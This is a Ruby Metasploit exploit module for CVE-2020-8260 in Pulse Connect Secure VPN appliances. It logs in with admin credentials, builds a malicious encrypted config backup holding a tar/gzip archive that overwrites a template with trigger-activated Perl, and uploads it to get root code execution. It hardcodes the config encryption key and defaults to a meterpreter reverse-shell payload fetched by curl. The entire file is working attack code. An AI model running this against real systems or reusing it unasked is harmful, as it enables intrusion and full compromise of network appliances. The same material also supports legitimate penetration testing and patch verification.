276 lines
10 KiB
Ruby
276 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Pulse Secure VPN gzip RCE',
|
|
'Description' => %q{
|
|
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
|
|
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
|
|
Admin credentials are required for successful exploitation.
|
|
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
|
|
},
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Spencer McIntyre', # msf module
|
|
'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
|
|
'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
|
|
],
|
|
'References' => [
|
|
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
|
|
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
|
|
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
|
|
['CVE', '2020-8260']
|
|
],
|
|
'DisclosureDate' => '2020-10-26',
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Unix In-Memory',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_memory,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
|
|
}
|
|
]
|
|
],
|
|
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
|
|
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
|
|
'DefaultTarget' => 1,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
|
|
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
|
|
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
|
|
])
|
|
end
|
|
|
|
def check(exploiting: false)
|
|
login
|
|
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
|
|
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
|
|
version, build = version
|
|
|
|
return CheckCode::Unknown('Could not determine the target status') unless version.include?('R')
|
|
|
|
version, revision = version.split('R', 2)
|
|
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
|
|
return CheckCode::Appears("Version #{version} appears to be vulnerable") if version.to_f <= 9.1 && revision.to_f < 9
|
|
|
|
CheckCode::Detected("Target detected: version #{version}")
|
|
rescue Msf::Exploit::Failed
|
|
CheckCode::Unknown('Could not determine the target status')
|
|
ensure
|
|
logout unless exploiting
|
|
end
|
|
|
|
def exploit
|
|
case (checkcode = check(exploiting: true))
|
|
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
|
|
print_good(checkcode.message)
|
|
when Exploit::CheckCode::Detected
|
|
print_warning(checkcode.message)
|
|
else
|
|
fail_with(Module::Failure::Unknown, checkcode.message.to_s)
|
|
end
|
|
|
|
case target['Type']
|
|
when :unix_memory
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager(
|
|
linemax: 262144, # 256KiB
|
|
delay: datastore['CMDSTAGER::DELAY']
|
|
)
|
|
end
|
|
|
|
logout
|
|
end
|
|
|
|
def execute_command(command, _opts = {})
|
|
trigger = Rex::Text.rand_text_alpha_upper(8)
|
|
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")
|
|
|
|
config = build_malicious_config(command, trigger)
|
|
res = upload_config(config)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200
|
|
|
|
print_status('Triggering RCE')
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
|
|
'headers' => { trigger => trigger }
|
|
})
|
|
end
|
|
|
|
def res_get_xsauth(res)
|
|
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
|
|
end
|
|
|
|
def upload_config(config)
|
|
print_status('Requesting backup config page')
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
|
|
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
|
|
'vars_get' => { 'type' => 'system' }
|
|
})
|
|
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
|
|
xsauth = res_get_xsauth(res)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
|
|
post_data.add_part('Import', nil, nil, 'form-data; name="op"')
|
|
post_data.add_part('system', nil, nil, 'form-data; name="type"')
|
|
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
|
|
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
|
|
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
|
|
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')
|
|
|
|
print_status('Uploading encrypted config backup')
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
|
|
'method' => 'POST',
|
|
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
|
|
'data' => post_data.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
|
})
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'tz_offset' => '-300',
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'realm' => 'Admin Users',
|
|
'btnSubmit' => 'Sign In'
|
|
},
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
|
|
location = res.headers['Location']
|
|
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')
|
|
|
|
return unless location.include?('admin%2Dconfirm')
|
|
|
|
# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
|
|
print_status('Other admin sessions detected, continuing')
|
|
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
|
|
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
|
|
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
|
|
xsauth = res_get_xsauth(res)
|
|
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'btnContinue' => 'Continue the session',
|
|
'FormDataStr' => fds.first,
|
|
'xsauth' => xsauth
|
|
},
|
|
'keep_cookies' => true
|
|
})
|
|
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
|
|
end
|
|
|
|
def logout
|
|
print_status('Logging out to prevent warnings to other admins')
|
|
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
|
|
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200
|
|
|
|
logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
|
|
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?
|
|
|
|
res = send_request_cgi({ 'uri' => logout_uri })
|
|
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
|
|
end
|
|
|
|
def build_malicious_config(cmd, trigger)
|
|
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
|
|
perl = <<~PERL
|
|
if (length $ENV{HTTP_#{trigger}}){
|
|
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
|
|
system("env /data/var/runtime/tmp/tt/#{payload_script}");
|
|
}
|
|
PERL
|
|
tarfile = StringIO.new
|
|
Rex::Tar::Writer.new(tarfile) do |tar|
|
|
tar.mkdir('tmp', 509)
|
|
tar.mkdir('tmp/tt', 509)
|
|
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
|
|
tio.write perl
|
|
end
|
|
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
|
|
tio.write "PATH=/home/bin:$PATH\n"
|
|
tio.write "rm -- \"$0\"\n"
|
|
tio.write cmd
|
|
end
|
|
end
|
|
|
|
gzfile = StringIO.new
|
|
gz = Zlib::GzipWriter.new(gzfile)
|
|
gz.write(tarfile.string)
|
|
gz.close
|
|
|
|
encrypt_config(gzfile.string)
|
|
end
|
|
|
|
def encrypt_config(config_blob)
|
|
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
|
|
iv = cipher.iv = cipher.random_iv
|
|
cipher.key = ENCRYPTION_KEY
|
|
|
|
md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")
|
|
|
|
ciphertext = cipher.update(config_blob)
|
|
ciphertext << cipher.final
|
|
md5 << ciphertext
|
|
|
|
cipher.reset
|
|
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
|
|
end
|
|
end
|